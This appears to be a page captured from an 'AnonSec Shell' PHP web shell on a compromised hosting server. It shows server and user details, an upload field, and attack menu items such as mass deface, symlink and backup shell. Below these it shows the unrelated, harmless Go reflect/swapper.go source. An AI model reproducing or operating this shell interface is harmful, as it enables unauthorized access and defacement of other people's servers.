AnonSec Shell

. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . AnonSec Shell AnonSec Shell

Server IP : 104.21.37.143 / Your IP : 216.73.216.191 [ Reverse IP ]
Web Server : LiteSpeed
System : Linux sg-nme-web1234.main-hosting.eu 4.18.0-553.121.1.lve.el8.x86_64 #1 SMP Thu Apr 30 16:40:41 UTC 2026 x86_64
User : u157516162 ( 157516162)
PHP Version : 7.4.33
Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail
Domains : 2 Domains
MySQL : OFF | cURL : ON | WGET : ON | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF
Directory : /proc/self/root/proc/self/root/opt/golang/1.19.4/src/reflect/

Upload File :

[ HOME ] [ BACKUP SHELL ] [ JUMPING ] [ MASS DEFACE ] [ SCAN ROOT ] [ SYMLINK ]

Current File : /proc/self/root/proc/self/root/opt/golang/1.19.4/src/reflect//swapper.go

// Copyright 2016 The Go Authors. All rights reserved.
// Use of this source code is governed by a BSD-style
// license that can be found in the LICENSE file.

package reflect

import (
	"internal/goarch"
	"internal/unsafeheader"
	"unsafe"
)

// Swapper returns a function that swaps the elements in the provided
// slice.
//
// Swapper panics if the provided interface is not a slice.
func Swapper(slice any) func(i, j int) {
	v := ValueOf(slice)
	if v.Kind() != Slice {
		panic(&ValueError{Method: "Swapper", Kind: v.Kind()})
	}
	// Fast path for slices of size 0 and 1. Nothing to swap.
	switch v.Len() {
	case 0:
		return func(i, j int) { panic("reflect: slice index out of range") }
	case 1:
		return func(i, j int) {
			if i != 0 || j != 0 {
				panic("reflect: slice index out of range")
			}
		}
	}

	typ := v.Type().Elem().(*rtype)
	size := typ.Size()
	hasPtr := typ.ptrdata != 0

	// Some common & small cases, without using memmove:
	if hasPtr {
		if size == goarch.PtrSize {
			ps := *(*[]unsafe.Pointer)(v.ptr)
			return func(i, j int) { ps[i], ps[j] = ps[j], ps[i] }
		}
		if typ.Kind() == String {
			ss := *(*[]string)(v.ptr)
			return func(i, j int) { ss[i], ss[j] = ss[j], ss[i] }
		}
	} else {
		switch size {
		case 8:
			is := *(*[]int64)(v.ptr)
			return func(i, j int) { is[i], is[j] = is[j], is[i] }
		case 4:
			is := *(*[]int32)(v.ptr)
			return func(i, j int) { is[i], is[j] = is[j], is[i] }
		case 2:
			is := *(*[]int16)(v.ptr)
			return func(i, j int) { is[i], is[j] = is[j], is[i] }
		case 1:
			is := *(*[]int8)(v.ptr)
			return func(i, j int) { is[i], is[j] = is[j], is[i] }
		}
	}

	s := (*unsafeheader.Slice)(v.ptr)
	tmp := unsafe_New(typ) // swap scratch space

	return func(i, j int) {
		if uint(i) >= uint(s.Len) || uint(j) >= uint(s.Len) {
			panic("reflect: slice index out of range")
		}
		val1 := arrayAt(s.Data, i, size, "i < s.Len")
		val2 := arrayAt(s.Data, j, size, "j < s.Len")
		typedmemmove(typ, tmp, val1)
		typedmemmove(typ, val1, val2)
		typedmemmove(typ, val2, tmp)
	}
}

Anon7 - 2022
AnonSec Team